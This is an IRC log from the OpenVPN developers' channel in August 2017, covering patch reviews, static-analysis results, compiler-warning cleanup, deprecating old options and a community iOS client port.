<@syzzer> cron2, dazo: busy times? 15:25 <@cron2> syzzer: school holiday 15:25 <@cron2> today I get a day of vacation, that is, "Simone stays with the kids at Grandma's, and I'm permitted to go to work and get things done" 15:35 <@dazo> somewhat busy yes ... have been worse, could be better :) 15:53 <@syzzer> right, kids. for me the summer period is relatively quiet - managers go on holiday, I can be productive :-p 15:56 <@cron2> before I had kids, the time between Dec 24 and Jan 7 was the best time of the year - everybody was on vacation, I could go hacking 15:56 <@cron2> now, it's very busy, and hardly time for the most important stuff 15:58 <@syzzer> heh, yeah, I do like those weeks too 16:52 * ordex pretends to be always on vacation 16:52 <@ordex> good morning 16:52 <@ordex> :) --- Day changed Thu Aug 10 2017 01:05 <@cron2> OS upgrades... bbl 01:05 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Quit: leaving] 01:35 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:35 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:35 <@cron2> re 01:48 <@cron2> having to reboot just to do a major OS upgrade sucks 01:48 <@cron2> 247days of uptime wasted 03:23 <@ordex> cron2: :( 13:39 < slypknot> interesting: https://github.com/wangyu-/udp2raw-tunnel#tunneling-any-traffic-via-raw-traffic-by-using-udp2raw-openvpn 13:39 <@vpnHelper> Title: GitHub - wangyu-/udp2raw-tunnel: An Encrpyted,Anti-Replay,Multiplexed Udp Tunnel,tunnels udp traffic through fake-tcp or icmp by using raw socket (at github.com) 16:07 <@ordex> slypknot: so basically it hides the udp traffic in tcp-shaped packets, so it looks like TCP but it does not come with the drawbacks of the TCP encapsulation 16:12 <@ordex> and morning :) 16:30 < slypknot> ordex: evening :) 16:31 <@ordex> :) 16:31 < slypknot> by the look of it, i guess it wraps the udp/tcp ovpn packets with an icmp header 16:32 < slypknot> have not tried it .... yet 16:33 < slypknot> or maybe replaces the header completely 17:03 <@ordex> I don't think it uses openvpn, no? 17:04 <@ordex> but yes, my understanding is that it wraps the packets in a tcp or icmp header so that they looks like it 17:04 <@ordex> and the server on the other side will unwrap them 18:05 < slypknot> i presume it can send anything down "an icmp pip" (for want of a better description 18:05 < slypknot> pipe* 18:06 < slypknot> i guess it is to sneak passed the GFWoC 19:37 <@ordex> slypknot: once we have the pluggable transport API in openvpn in place, we will be able to experiment all those kind of things too :] 20:30 < slypknot> ordex: ( 0 - 1 ) ^ -1 21:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 21:24 <@ordex> slypknot: what? 21:27 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Aug 11 2017 02:51 <@syzzer> "encrypt your traffic with aes128cbc,protects data integrity by md5 or crc32", hmm. Given that statement about 'crc32 integrity protection', I wonder if their AES is any good 02:53 <@syzzer> of course, the implemented AES themselves 02:57 <@syzzer> oh, and authenticate-and-encrypt with CBC (padding oracles), and non-contant-time memcmp(), and probably more, but I think I know enough about the security of this solution when not running openvpn on top :-p 03:53 <@ordex> I have ran the clang static analyzer over our code ... I think the complexity of openvpn can fool this tool too :D 03:53 <@ordex> it makes assumptions that are not true.. 03:56 <@ordex> for example it does not understand that ALLOC_OBJ() will exit() if malloc returns NULL and so it complains about the following CLEAR(*obj) as it thinks it's a potential NULL dereferentiation 04:08 <@syzzer> ordex: yeah, that's because clang works on a per-object basis 04:08 <@syzzer> well, our make runs it per-object 04:08 <@ordex> yeah 04:08 <@syzzer> and it doesn't combine the knowledge 04:08 <@ordex> I see 04:08 <@ordex> pretty stupid 04:08 <@ordex> :P 04:08 <@ordex> :D 04:09 <@ordex> hehe 04:09 <@syzzer> coverity performs better anyway :) 04:09 <@ordex> but yeah I understand. that makes sense and it's compatible with the "issues" it found 04:09 <@ordex> oh yeah :) 04:09 <@ordex> I was just testing some tools a bit and see what they'd spit out 04:12 <@syzzer> I have a branch somewhere which integrates gcov in the openvpn build 04:13 <@syzzer> scared the hell out of me... 04:14 <@ordex> :D 04:14 * ordex never used it 04:15 <@ordex> btw, clang found some "dead code", aka: assignments that have no effect because the modified variable is not read anymore 04:15 <@ordex> the question is: is this a mistake in assigning the variable? or shjould the variable actually be accessed aftewards but something is wrong? 04:15 <@ordex> :S 04:16 <@syzzer> heh, I recall that one, I think :-o 04:17 <@syzzer> we even had a mailing list discussion about it I believe 04:20 <@syzzer> this, perhaps? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13846.html 04:20 <@vpnHelper> Title: [Openvpn-devel] [PATCH] resolving trivial issue found by clang static analyzer variable "ret" is assigned a value that is redefined later (at www.mail-archive.com) 04:27 <@ordex> :D 04:27 <@ordex> let me check 04:30 <@ordex> syzzer: exactly what I am talking about :D 04:31 <@ordex> but apparently your "wrong" patch was the trigger to have somebody look at the code closely ;) 04:37 <@syzzer> wasn't my patch ;-) 04:38 <@ordex> ah right :) 04:38 <@ordex> hehe 04:40 <@ordex> syzzer: I am running clang on a one line comilation step...let's see what it catches 04:48 <@ordex> mh still complains about the same null things.. 06:30 <@dazo> quickly glancing through ordex' clean-up patches .... this one came as a surprise though: -tls_ctx_free_cert_file(X509 *x509) 06:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 06:30 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 06:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:41 <@syzzer> dazo: yeah, noticed that too, will dive in later 06:44 <@syzzer> in general, if you let me do the initial reviewing for now, you can spend you precious time on going through already ack'ed patches on the list :) 06:44 <@syzzer> (in can do reviews, but I can't merge patches) 06:44 <@dazo> hehe ... yeah, not doing any deep review :) 06:45 <@dazo> just trying to see how large my workload is and how it will increase :-P 06:47 <@syzzer> sure, not trying to tell you what to do, just saying I can handle that part until you cought up if you want me to 06:53 <@syzzer> ordex: can I tempt you to review https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15133.html ? 06:53 <@vpnHelper> Title: [Openvpn-devel] [PATCH] tls-crypt: introduce tls_crypt_kt() (at www.mail-archive.com) 07:00 <@dazo> cron2: Just a heads-up ... went through my mailbox until July 1st ... I have some 10-15 patches I'm going to try to walk my way through later today .... 07:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 07:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:13 * syzzer is anxiously watching his mailbox... 12:06 <@cron2> dazo: won't do anything today, thanks for the heads up. (Caught a cold from one of the kids, so even when I had actually time to get something done, I was feeling too stupid...) 13:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 13:31 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:17 <@dazo> first round of patches done ... these were the ones which were already ACKed .... 11 patches 15:19 * dazo wonders how much we broke the buildslaves now .... 15:19 <@dazo> (I have done several casual local builds before push, they went fine) 15:21 * cron2 was about to say something about buildslaves 15:21 <@vpnHelper> RSS Update - gitrepo: use NULL instead of 0 when assigning pointers <https://github.com/OpenVPN/openvpn/commit/280150a02a117eb0cc9c34e69ebe9ec3f4ded0f4> || remove unused functions <https://github.com/OpenVPN/openvpn/commit/4158f46f6474447520ebc7440050411eb8be8cb9> || make function declarations C99 compliant <https://github.com/OpenVPN/openvpn/commit/e2a0cad46e8f98399387c334fec912b7bb7097fc> || OpenSSL: remove unreachable call to S 15:21 <@cron2> :) 15:27 <@dazo> either my mail account is not functional (which receives buildbots), or buildmaster is down ... or builders don't complain .... 15:31 <@dazo> hmmm ... can't connect to the commnunity vpn server :/ 15:31 <@dazo> well, not going to solve that now :) 15:41 <@syzzer> commits \o/ 15:46 <@syzzer> dazo: I got all the applied mails :) 15:46 <@syzzer> (or, 12, at least) 16:09 <@ordex> syzzer: yeah! 16:50 < slypknot> http://news.gmane.org/gmane.network.openvpn.devel 16:53 < slypknot> ^ gone ^ 16:57 < slypknot> go on: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15166.html 16:57 <@vpnHelper> Title: [Openvpn-devel] [PATCH] doc/openvpn.8: Correct --verify-x509-name *type* example (at www.mail-archive.com) 18:09 < slypknot> mattock: it is likely this will need consideration: https://openvpn.net/index.php/open-source/documentation/miscellaneous/mailing-lists.html 18:09 <@vpnHelper> Title: Mailing Lists (at openvpn.net) --- Day changed Sat Aug 12 2017 03:13 <@ordex> time to wake up!! 03:13 <@ordex> :D 03:13 <@syzzer> ordex: thanks for the review. The code actually does "ASSERT" out in tls_crypt_kt(), but I agree that error handling could be improved. 03:14 <@syzzer> So I'll look into it and send a v2 anyway. 03:14 <@syzzer> ("ASSERT" is msg(M_FATAL, ...) here) 03:15 <@ordex> oh right M_FATAL does exit 03:15 <@ordex> then I missed it I think 03:15 <@ordex> probably because it was not visible in the patch 03:16 <@syzzer> yeah, the diff is not really helpful with this patch :-p 03:17 <@ordex> hehe 05:00 <@syzzer> ordex: v2 on the list 05:02 <@ordex> syzzer: cool, thanks! I'll have a look soon 05:12 <@ordex> syzzer: "return (struct key_type) { 0 };" is really ugly :D why not just returning kt? the member is set to NULL, therefore the outer check will still work. if you want to make it cleaner, you could CLEAR(kt) before doing the assignment 05:12 <@ordex> syzzer: another thing: msg (M_FATAL, "ERROR: --tls-crypt not supported"); << no space between msg and the ( 05:13 <@syzzer> ordex: are you calling compound literals ugly>? :-O 05:13 <@syzzer> I actually like them :p 05:14 <@syzzer> didn't want to return kt, because it might be half-initialized 05:14 <@syzzer> and I though this was an elegant one-liner to return 'empty kt' 05:15 <@ordex> :P 05:15 <@syzzer> (and the space is hard to get out of my muscle memory :( ) 05:17 <@syzzer> CLEAR() only helps partially - if (!kt.digest), we would still return an half-initialized struct kt 05:22 <@ordex> yeah, is the latter thing you said bad ? 05:22 <@ordex> dunno, if you like the {0} just leave it hehe :D but then you should remove the space between the cast and the {, I guess? 05:24 <@ordex> although it would be even uglier :P 05:24 <@ordex> but that would follow the rule of the cast 05:24 <@syzzer> I try to keep function contracts simple. So either return the call succeeds and you get what you want, or it fails and you get nothing. 05:24 <@ordex> yeah 05:25 <@syzzer> so I although it isn't a problem for the correctness of the code, I prefer to return either a fully initialized or an empty struct 05:25 <@syzzer> removing the space would just make things ugly I'd say 05:26 <@ordex> yeah, think so too 05:27 <@ordex> anyway, just matter of taste :) this is one of those cases where I'd prefer a goto with some cleanup code (i.e. undo things or CLEAR and then return) but I don't think we should spend too mcuh on this small change 05:27 <@ordex> then only the "msg (" is wrong. maybe who will commit that can also fix the space 05:27 <@syzzer> yeah, think so. 06:06 <@ordex> ah but today it's saturday 06:06 <@ordex> that's why it's so quiet :P 06:06 <@ordex> then I should go to bed 06:06 <@ordex> hehe 06:06 <@ordex> bye! 12:03 < slypknot> Windows 10 .. What a Pile of Fucking Shit ! 12:03 < slypknot> I think OpenVPN should stop supporting windows completely ! 12:03 < slypknot> make everybody move to linux 12:17 < slypknot> how about a BIG log message: WARNING: You are still using OpenVPN 2.3.x - You should consider changing your Operating System to Linux 12:23 < slypknot> or just: WARNING: You are using Windows - Please Don't ! 15:41 <@dazo> slypknot: gmane.org was taken down a long while ago ... another company promised to bring it back up again on new servers and infrastructure .... but seems they never completed that ... http://home.gmane.org/ 15:41 <@vpnHelper> Title: home.gmane.org - News from gmane.org (at home.gmane.org) 16:04 <@ordex> morning 16:04 <@ordex> :) 17:41 < slypknot> ordex: ipv6pf .. please ;) (only joking .. it is not /important/) 17:43 < slypknot> dazo: just sayin is iall .. 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sun Aug 13 2017 00:07 <@ordex> slypknot: hehe 16:21 < slypknot> wow quiet day .. am i the only client to reset since ordex last comment ? 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Mon Aug 14 2017 03:22 <@ordex> dazo: u there ? 04:39 <@dazo> syzzer: is "[PATCH v2] Always use default keysize for NCP'd ciphers" tied to Trac issue? 04:39 * dazo have some vague memories, but got a bit unsure 04:45 <@syzzer> dazo: no, bug was report on the list only 04:46 <@syzzer> now we're talking about patches anyway, I merged the tls-crypt-v2 patches into the generic patches page. Makes it a bit easier to find :) 04:46 <@syzzer> https://community.openvpn.net/openvpn/wiki/Patches 04:46 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 04:48 <@syzzer> dazo: oh, wait, your memory is right 04:48 <@syzzer> https://community.openvpn.net/openvpn/ticket/924 04:48 <@vpnHelper> Title: #924 (OpenVPN 2.4.3 fails when configured with keysize 384) – OpenVPN Community (at community.openvpn.net) 04:48 <@syzzer> that was created later than the patch, but it *is* the same bug 05:16 <@ordex> syzzer: btw: https://scan.coverity.com/faq#frequency 05:16 <@vpnHelper> Title: Coverity Scan - Frequently Asked Questions (FAQ) (at scan.coverity.com) 05:16 <@ordex> Up to 28 builds per week, with a maximum of 4 builds per day, for projects with fewer than 100K lines of code 05:17 <@ordex> I think 28 per week should happily fall into our pushing frequency 05:24 <@dazo> syzzer: thx! ... I'll have a closer look at that patch, and will amend the commit msg 06:04 <@syzzer> ordex: oh, cool, looks like they increated that 06:04 <@syzzer> it used to be like 4 builds per week 06:05 <@syzzer> (they could have just specified builds per day, btw...) 06:05 <@syzzer> dazo: great! very nice that you're working through the mails 06:12 <@syzzer> dazo: I'm fine with moving the removal of --keysize further into the future. Just to be clear: that doesn't block the deprecation patch, right? (I would even agrue that's important to get it in asap. The earlier users get warnings, the better.) 06:22 <@dazo> syzzer: agreed, I don't oppose deprecation warnings at all ... but it was the remark that you wanted to remove --keysize in master now 06:23 <@dazo> (I think that is too early now, we need to inform the public broadly about such changes) 08:08 < slypknot> I imagine mattock would have changed this : https://forums.openvpn.net/viewtopic.php?f=31&t=24699 08:08 <@vpnHelper> Title: Possible bug on vars.bat.sample file on last version of openVPN - OpenVPN Support Forum (at forums.openvpn.net) 08:09 < slypknot> I have verified that it is as documented above '#' not 'rem' 08:16 <@dazo> syzzer: to be able to apply the "sample-plugins: fix ASN1_STRING_to_UTF8 return value checks" patch to release/2.4, I need to partially apply a change from commit 039a89c331e9b7998d8047 .... any issues that I do that on-the-fly? 08:20 <@dazo> well, actually ... I just need to resolve the merge conflict ... so it'll be your code anyway :) 08:20 <@dazo> + unsigned char *buf = (unsigned char *)1; 08:20 <@dazo> will become: 08:20 <@dazo> + unsigned char *buf = NULL; 08:20 <@dazo> (and a single line of comment will be gone) 08:33 <@dazo> see PM for details 08:53 * dazo pushes new things to the git tree again 08:55 <@vpnHelper> RSS Update - gitrepo: Document down-root plugin usage in client.down <https://github.com/OpenVPN/openvpn/commit/cbeff7b1b3f2815ee27f4479dca502c220fc4d15> || Use provided env vars in up/down script. <https://github.com/OpenVPN/openvpn/commit/94c1ce22ebcc1f672bb80598afccc130aa01fafc> || sample-plugins: fix ASN1_STRING_to_UTF8 return value checks <https://github.com/OpenVPN/openvpn/commit/c43045ca0590364552fbd060cc65ee1c50a4866a> || 10:49 * cron2 is amazed (and thankful) at dazo's commit spree 11:18 <@dazo> we have close to 40 commits since v2.4.3 .... perhaps about time to think about a maintenance release .... we might have a few more patches, but lets try not to have too large minor releases 11:20 <@dazo> (and for once, it would be nice to have a release because "its convenient" instead of "we have to" :) ) 12:22 <@ecrist> heh 12:26 <@cron2> heh indeed :) 16:07 <@ordex> morning :) 16:08 <@ordex> dazo The Cleaner[tm] 16:08 <@ordex> :D 16:33 <@cron2> dazo: just as you mentioned this, Guido is back :-) 18:54 -!- Netsplit *.net <-> *.split quits: @cron2, +krzee 18:59 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 18:59 -!- ServerMode/#openvpn-devel [+o cron2] by orwell.freenode.net 18:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:59 -!- ServerMode/#openvpn-devel [+v krzee] by orwell.freenode.net 23:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 276 seconds] 23:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:19 < CRCinAU> dazo: and a new contrib script ;) 23:20 < CRCinAU> dazo: iirc, I'm still running your custom build for Fedora as well - seeing as there hasn't been a release since those fixes.... --- Day changed Tue Aug 15 2017 02:56 <@ordex> dazo: CRCinAU is right. actually we "should have" released :D 04:33 <@dazo> yeah :) 04:34 <@dazo> since we actually fixed the issue CRCinAU had and put in the release/2.4 pipe, I've completely forgotten about that fix :) 04:44 * dazo starts a new wiki page -- DeprecatedOptions 04:53 <@ordex> hehe 04:53 <@ordex> deprecate 'em all ! 04:53 <@dazo> heh 05:04 < CRCinAU> ordex: of course I'm right :) 06:19 <@plaisthos> [x] sent rant about Mikrotek to ML 06:28 < eworm> who rants Mikrotik? 06:29 < CRCinAU> is that the TCP only + username + password only issue? 06:29 < eworm> TCP only and no compression, yes... 06:29 < eworm> certificate authentication works fine 06:32 < CRCinAU> ah 06:32 < CRCinAU> a mates one only did u/p 06:35 <@dazo> https://community.openvpn.net/openvpn/wiki/DeprecatedOptions 06:35 <@vpnHelper> Title: DeprecatedOptions – OpenVPN Community (at community.openvpn.net) 06:40 <@plaisthos> eworm: me 06:41 <@syzzer> dazo: haven't read yet, but this looks very good! 06:43 <@dazo> it's at least a starting point .... and I see we have a lot of options to kick out v2.5/git master :-P 06:43 <@dazo> --ifconfig-pool-linear being the biggest surprise for me .... deprecated since v2.1 06:43 <@plaisthos> what is ifconfig-pool-linear 06:43 <@syzzer> I never even heard of the option :') 06:43 * plaisthos checks 06:44 <@dazo> plaisthos: a pre-historic --topology p2p approach 06:44 <@plaisthos> axe it :) 06:44 <@dazo> yupp! 06:45 * dazo will start submitting patches soonish :) 06:45 <@dazo> (just need to apply a few more ML patches) 06:45 <@vpnHelper> RSS Update - tickets: #926: Invalid tun MTU if link-mtu is in use <https://community.openvpn.net/openvpn/ticket/926> 06:48 < eworm> In general Mikrotik devices are nice. It's true that openvpn support can be enhanced... 06:51 <@syzzer> #926 hints at peer-id problems 06:51 <@dazo> lev__: ^^^ 06:56 <+lev__> i see 07:05 <@cron2> might be a side effect of the peer-id mtu adjustments... but as far as I know, nobody truly understands the interaction of the various --*mtu* options, so it wouldn't surprise me if we broke that particular combination 07:05 <@cron2> like, 3 years ago... 07:08 < CRCinAU> yeah - the MTU stuff in openvpn is ... weird.... 07:19 <+lev__> well, James wrote back in 2005 that "changing link-mtu is discouraged" https://openvpn.net/archive/openvpn-users/2005-10/msg00354.html 07:19 <@vpnHelper> Title: Re: [Openvpn-users] MTU, link-mtu and tun-mtu (at openvpn.net) 07:32 <@plaisthos> apart that mssfix does not work for me 07:32 <@plaisthos> with my too clever for their own good network cards 08:26 <@dazo> plaisthos: you prefer Perl or Python? 08:32 <@plaisthos> dazo: python 08:33 <@plaisthos> why? 08:33 <@dazo> plaisthos: just wondering if you could review a Perl contrib module :-P But we'll leave it for cron2 then :) 08:34 < CRCinAU> someone has to sanity check my shit ;) 08:35 < CRCinAU> I'm like 98% sure its all ok.... but still..... 08:43 <@plaisthos> I never really wrote perl scripts, so I am out for reviewing them 08:52 <@cron2> I'm fine with that... 08:56 <@vpnHelper> RSS Update - gitrepo: Deprecate --keysize <https://github.com/OpenVPN/openvpn/commit/ad178f01444d61e48fca83c4f0bc5d82270cee87> 08:57 <@cron2> *grumblegrumble*... clang 3.8 does not build with gcc 4.9 due to some weird c++11 stuff that gcc *should* support but doesn't 09:33 <@plaisthos> :/ 09:33 <@plaisthos> trying to bootstrap clang? 12:06 < Hes> Hi. Has openvpn 2.3.x/2.4.x port sources to build on iOS, as an iOS app extension which implements packet-tunnel-provider network extension, been circulating yet? 12:08 < Hes> One commercial VPN service provider recently published an iOS app, with an embedded openvpn 2.3.8 build as such an extension. I asked for the sources, due GPL, and got the extension/plugin sources. 12:09 < Hes> Some small patches to openvpn itself, and then the objective-c bits to make it into an ios app extension. 12:10 < Hes> GPL vs. app store terms legal issues aside; the bits can be useful if one wants to build a private openvpn ios client app of some sort. 12:53 <@cron2> Hes: interesting news, and yes, it would be nice to look at these exensions 12:54 <@cron2> "official" OpenVPN 2.x has no iOS support, only 3.x (which is dual-licensed GPL and closed, and the iOS bits are missing as its using the old API that is under NDA) 14:06 -!- Netsplit *.net <-> *.split quits: @syzzer 14:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:11 <@syzzer> Hes: no, didn't know, but would be very interested to learn more 14:22 < Hes> VPN Unlimited is the app; https://dl.dropboxusercontent.com/u/37346897/PacketTunnelProvider.zip is the code 14:23 < Hes> contains openvpn 2.3.8 + patches + supposedly the code for the extension. If you redistribute, please do so from your own servers, I'll take it off soon. 14:23 < Hes> Looks legit, only took a cursory look so far. 14:45 <@cron2> downloaded, but won't have time to do anything with it for the moment - thanks 15:19 <@plaisthos> Hes: I would rather use OpeNVPN 3.x source when I would ignore legal issues :) 15:28 <@ordex> morning :] 15:28 <@vpnHelper> RSS Update - gitrepo: Fix socks_proxy_port pointing to invalid data <https://github.com/OpenVPN/openvpn/commit/aa9d3a5bdc5a1b395d37fbb8abb3ed6166856a1a> 15:29 <@ordex> syzzer: to be honest that ntlm thing looks very wrong to me. maybe it assumes that it will be ran only on BE archs? (does windows support any LE arch at all?) 15:29 <@ordex> the interesting part is that the same code is used an old reference java implementation .... 16:41 <@dazo> ordex: Isn't i686/x86_64 LE? 16:51 <@ordex> right 16:51 <@ordex> I think 16:51 <@ordex> I forgot :D 17:34 <@ordex> dan-: yeah little endian 17:34 <@ordex> dazo: ^^ 17:34 < dan-> lol 17:34 <@ordex> so this means that NTLM has hardcoded little endian values on the wire 17:34 <@ordex> dan-: sorry :D 17:34 < dan-> all gud~ 17:34 <@ordex> hehe 17:35 <@ordex> dazo: because they do no conversion. that's why no htonl/ntohl was used, because it is not network order and it is nothing .. just same as the running architecture, which is assumed to be little endian all the time probably (otherwise they could not talk to each other) 18:00 <@ordex> 2 warning only remaining when compiling on Linux with -Wall. for both of them we have patches on the mailing list...we are close to a clean build :] 23:12 < Hes> plaisthos: Yeah, but this can be useful to some folks anyway; good to have the GPLed bits around. --- Day changed Wed Aug 16 2017 03:02 <@syzzer> ordex: do we have patches for both the unused netmask and the unused gateway occurances? 03:02 <@syzzer> I've seen a patch for one of those, but I get multiple warnings 03:06 <@ordex> syzzer: netmask too ? mh I don't see that I think 03:06 <@ordex> syzzer: maybe I should --enable-iproute 03:06 <@ordex> syzzer: the patch on the ml is for the gateway variable, but I will check netmask too 03:06 <@syzzer> ordex: yes, that could be. I compile with --enable-iproute2 03:08 <@ordex> I should do that too .. stupid me 03:08 <@ordex> maybe we should make it the default 03:08 <@ordex> anyway, that's another topic 03:22 <@ordex> syzzer: yeah, with iproute2 I see it 03:28 <@ordex> bleah more and more ifdefs ... 03:28 <@ordex> after this, I will work on a cleanup..i really feel dirty when touching this code :D 03:38 <@syzzer> yeah, I totally get that :p 03:43 <@ordex> :D 07:28 <@ordex> why does P2MP depend on ENABLE_CRYPTO and HAVE_GETTIMEOFDAY_NANOSECONDS ? 07:28 <@ordex> can't we have P2MP without crypto ? 07:44 <@syzzer> ordex: no, it depends heavily on TLS 07:44 <@syzzer> do use per-connection keys 07:44 <@syzzer> to 07:46 <@ordex> right..so P2MP assumes that we do client authentication via certificate + TLS 07:46 <@ordex> ok makes sense..so we can;t have P2MP if we don't have TLS support 07:46 <@ordex> even when we use no crypto/auth for the data channel 07:48 <@syzzer> theoretically it could be done, I think. but in practice we don't support it 07:49 <@syzzer> p2mp requires a control channel and the control channel requires TLS 07:50 <@ordex> yeah 07:57 < CRCinAU> wait... Point to MultiPoint VPN? 07:57 < CRCinAU> wat? 07:58 <@syzzer> fancy, no/ 08:00 <@ordex> lol 08:01 < CRCinAU> wat do? 08:01 <@dazo> syzzer: ordex: In regards to the route.c compiler warning fixups .... I like that we're cleaning up those. But as I've initiated the train of thoughts with cron2 and ordex already for discussing a larger cleanup of tun.c and route.c at the hackathon ... can't it wait a bit? Kinda silly fixing things we're going to rip apart in not too far future, isn't it? 08:01 < CRCinAU> I'm not exactly sure what use that would be.... 08:02 <@ordex> dazo: the short-term goal is to reach a warning-free compilation process. this way we can apply stricter rules when compiling the code: i.e. add -Werror on linux and prevent new warnins from being added 08:03 <@dazo> CRCinAU: IIRC, MP is actually multi point ... believe it or not ... it's the server side which needs to support multi-point, as each client is treated as a single P2P .... and the client mode is always running in P2P mode, regardless if the server is p2p or p2mp 08:03 <@ordex> dazo: as I said route.c must be cleaned up and I willpersonally work on it. but honestly doing some little little housekeeping now can't really hurt I believe 08:04 <@dazo> well, if you're willing to walk the additional mile ... sure, I have no objections :) 08:05 <@syzzer> dazo: what ordex says. the earlier we can compile with -Werror, the better. 08:06 <@syzzer> the cleanup is going to take a while, I'm afraid. Even if it were just to test thoroughtly on all those platforms. 08:06 <@ordex> yeah I agree with syzzer. we don't know when the cleanup will happen, but with this low hanging fruit we can already get close to this short-term result 08:06 <@ordex> and I can walk some miles, yes : 08:06 <@ordex> :D 08:09 <@dazo> ;-) 08:09 <@ordex> btw, is ENABLE_CRYPTO really needed? if we set --disable-crypto, P2MP won't work, which means no server-client logic, but only P2P. And with no crypto this means uncrypted p2p tunnel - aka ipip.....do we need to support this case? 08:10 <@dazo> well, server-client logic requires the TLS control channel if I recall correctly 08:10 <@ordex> precisely my point, that's why we can't have P2MP if crypto is diabled 08:10 <@ordex> *disabled 08:11 <@dazo> I'm quite sure there exists better solutions than OpenVPN for unencrypted P2P tunnels .... 08:12 <@ordex> yeah, I totally agree and if somebody will complain about something wrong in that scenario...I am not sure we will really spend time listening:P 08:12 <@ordex> thus, why not just removing the --disable-crypto ? 08:12 <@ordex> thus, why not just removing the --disable-crypto *switch ? 08:12 <@syzzer> I think so too. (And my removal of ENABLE_SSL was of course the first step of my secret plan to drop ENABLE_CRYPTO... ;-) 08:12 <@ordex> :D 08:13 <@dazo> I don't think the plan was that secret .... it was quite clear that would eventually happen :P 08:13 <@ordex> hehe 08:13 <@syzzer> oh, am I that easy to read? :-( 08:13 <@ordex> and the code would benefit from a lot of simplification (less ifdef) 08:13 <@dazo> Lets wait a little bit with that .... or else we'll get a boatload and more of buildslaves errors until their configs are fixed 08:14 <@ordex> do we build with --disable-crypto somewhere ? 08:14 <@syzzer> travis does 08:14 <@dazo> I want to be sure mattock can step in and fix them 08:14 <@ordex> dazo: even if we wait, the situation won't change by itself :P 08:14 <@ordex> ok 08:14 <@dazo> yeah, all buildslaves too 08:14 <@ordex> yeah travis does in one build 08:14 <@ordex> but easy to change 08:14 <@syzzer> and my private jenkins setup too, because I tend to break --disable-crypto builds :-p 08:14 <@ordex> lol 08:15 <@dazo> I have no access to the buildmaster config (if I do, I don't know where and how) ... which is why it's good to have mattock poke at that 08:15 <@ordex> yeah 08:16 <@ordex> better to wait for him to get back. I don't want to turn his vacation into something miserable 08:16 <@ordex> :D 08:18 <@dazo> who knows .... perhaps such a challenge would be a nice distraction from crying and poop changes ........ 08:18 <@dazo> :-P 08:18 <@ordex> :D 08:20 <@syzzer> ordex: ENABLE_CLIENT_SERVER should also be removed from config-msvc.h 08:21 <@ordex> pf 08:21 <@ordex> windows .. 08:21 <@dazo> lol 08:21 <@ordex> :D 08:21 <@ordex> will do, thanks for spotting that! 08:23 <@ordex> dazo: about lz4: how about having a config option to decide when using the bundled library and when not ? rather than using it all the time? wouldn;t that make everybody happier ? 08:23 < CRCinAU> Changelog: Drop openssl for plain L2TP to improve system load. 08:23 <@ordex> lol 08:23 <@dazo> ordex: if it is installed on the system, we link against the system library ... if it is missing, we use the bundled one 08:24 <@dazo> ordex: I'd like to kick out the bundled one, tbh .... but there might be some arguments I don't know of why we carry it 08:24 * ordex has no clue 08:24 <@ordex> carrying in a dependency sounds a relict of some ancient decision maybe ? 08:24 <@ordex> *like a 08:25 <@syzzer> not so ancient 08:25 <@syzzer> lz4 was not present on my distributions yet 08:25 <@ordex> do you recall the ratio behind ? 08:26 <@ordex> ah 08:26 <@syzzer> s/my/many/ 08:26 <@ordex> that was maybe before they started with the 1.x series (?) 08:26 <@syzzer> I advocate to purge compression from openvpn :-p 08:26 <@ordex> < redrabbit> somehow a search on google got that adress : https://openvpn.net/man.html and it redirects to the 2.0.x manual << mattock can we have this pointing to the 2.4 manpage ? 08:27 <@ordex> syzzer: purge everything :P 08:27 * dazo advocates random enabling and algorithm selection per packet 08:27 * dazo gotta run for a few errands 08:27 <@ordex> hehe 08:31 <@ordex> ok..I go to sleep before sending more mistaken patches :) 08:31 <@ordex> bye ! 09:03 <@syzzer> good night! 10:16 <@vpnHelper> RSS Update - gitrepo: tls-crypt: introduce tls_crypt_kt() <https://github.com/OpenVPN/openvpn/commit/489c7bf93ec618e03dbd9618efbb6e251a65e76c> || Move run_up_down() to init.c 